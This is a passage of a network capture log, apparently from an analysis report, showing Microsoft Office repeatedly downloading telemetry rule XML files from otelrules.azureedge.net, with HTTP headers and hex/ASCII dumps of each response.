EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	49924	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:57 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:58 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 6226193a-f01e-00aa-5d6c-3d8521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205958Z-15b8b599d88wn9hhhC1TEBry0g00000003f000000000febe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:58 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49925	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:58 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:58 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: b43d4aba-301e-0020-1845-3c6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205958Z-15b8b599d88wk8w4hC1TEB14b800000003gg000000008gb3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:58 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	49926	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:58 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:59 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:59 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 008b0be1-f01e-001f-587c-3b5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205959Z-174c587ffdfmlsmvhC1TEBvyks00000003g000000000qf4r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:59 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	49927	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:59 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 21:00:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 21:00:00 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 07391f24-a01e-0032-508c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T210000Z-178bfbc474bv7whqhC1NYC1fg400000004xg00000000he08 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 21:00:00 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	49929	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 21:00:00 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 21:00:00 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 21:00:00 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 45806a8e-701e-003e-807c-3b79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T210000Z-174c587ffdf8fcgwhC1TEBnn7000000003hg00000000mz27 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 21:00:00 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49930	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 21:00:00 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 21:00:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 21:00:00 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: d8182971-801e-0067-2581-3bfe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T210000Z-174c587ffdfmlsmvhC1TEBvyks00000003kg00000000ewen x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 21:00:00 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49931	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 21:00:00 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 21:00:01 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 21:00:01 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 0da4534b-a01e-0053-0345-3d8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T210001Z-174c587ffdf6b487hC1TEBydsn00000003eg000000005a4h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 21:00:01 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49932	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 21:00:01 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 21:00:01 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 21:00:01 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: f30e7def-101e-0065-0967-3d4088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T210001Z-178bfbc474brk967hC1NYCfu6000000004qg00000000htka x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 21:00:01 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49933	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 21:00:01 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 21:00:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 21:00:02 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 48f36a6e-501e-0047-4f4c-3cce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T210002Z-15b8b599d889gj5whC1TEBfyk0000000036000000000mc90 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 21:00:02 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	49934	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 21:00:02 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 21:00:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 21:00:02 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 536c8f04-501e-00a3-5a81-3dc0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T210002Z-15b8b599d88hd9g7hC1TEBp75c00000003gg0000000037n6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 21:00:02 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	49935	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 21:00:02 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 21:00:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 21:00:02 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 2537bc41-601e-0050-496a-3c2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T210002Z-174c587ffdfmrvb9hC1TEBtn3800000003b000000000t456 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 21:00:02 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	49936	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 21:00:03 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 21:00:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 21:00:03 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: ee240466-601e-00ab-24f2-3a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T210003Z-178bfbc474bfw4gbhC1NYCunf4000000050g000000008utn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
